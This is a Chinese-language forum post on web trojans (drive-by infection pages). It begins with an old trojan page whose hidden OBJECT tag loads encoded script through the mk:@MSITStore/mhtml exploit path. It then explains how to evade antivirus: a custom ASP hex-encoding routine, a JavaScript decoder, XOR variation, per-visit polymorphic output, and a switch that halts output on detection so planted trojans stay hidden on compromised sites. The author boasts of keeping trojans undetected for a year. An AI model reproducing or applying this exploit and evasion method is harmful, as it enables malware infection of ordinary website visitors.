<HTML oncontextmenu="returnfalse"> <HEAD> <TITLE> </TITLE> </HEAD> <BODY> <SCRIPTLANGUAGESCRIPTLANGUAGE="JavaScript.Encode"src="1.js"> </SCRIPT> <SCRIPTLANGUAGESCRIPTLANGUAGE="JavaScript"> varurl=document.location.href;urlurl=url.substring(0,url.lastIndexOf('/')); document.write('<OBJECTWidthOBJECTWidth=0Height=0style="display:none;" type="text/x-scriptlet"data="mk:@MSITStore:mhtml:c:\\.mht!'+url+'/1.js::/%23"> </OBJECT>'); window.status=" "; </SCRIPT> </BODY> <NOSCRIPT><iframestyleiframestyle="display:none;"> </HTML>
先拿一段以前比较老的网马做说明。
很多人喜欢用:escape()和unescape()来加密和解密网马.
不过最终还是被杀软杀掉。用的人太多了,不杀才怪。
也有人用ScriptEncoder来加密。这个当然也好解决。
我个人认为,很多情况下要的是思维.
为何自己不写一个自定义加密算法.那么你出的网马就是唯一性的。
杀软想杀也没有办法.被杀改一下种子他又杀不了了。
我最开始用这种思路编写网马的时候,挂了一年的马,从来没有被杀过。
所以今天就提出这种思维吧。
方法也很简单。
原理一般是这样。
用脚本或应用程序写出生成器.
比如:上面的代码我们付值给S这个变量。
s="上面的代码"
现在用ASP。写个简单的自定义加密。
<% s=wmhtmlcode for i=1 to len(s) newstrnewstr=newstr & Hex(asc(mid(s,i,1))) next %>
现在把加密后的代码给了newstr这个变量。
我们再用JS代码进行解密并输出。
JS代码大家就自己写了。
<script> document.write jm(<%=newstr%>); </script>
这样就现实了加密和解密。
查看网马源代码的时候。就不会有什么特征码。
如果被杀,稍修改一下加密算法就通过。
或者你XOR一下,值又改变了。
如果做成ASP,PHP脚本网马。
就可以实现每一次访问网马,结果源代码内容都不相同。
本人很建议挂马,挂脚本文件,很好控制网马的输出状态。
发现被杀,马上在脚本文件的第一行,终止输出。
这样站也不会掉得太快。改好了再松开,开关。
思维是很重要的。
.....Fanney! |
|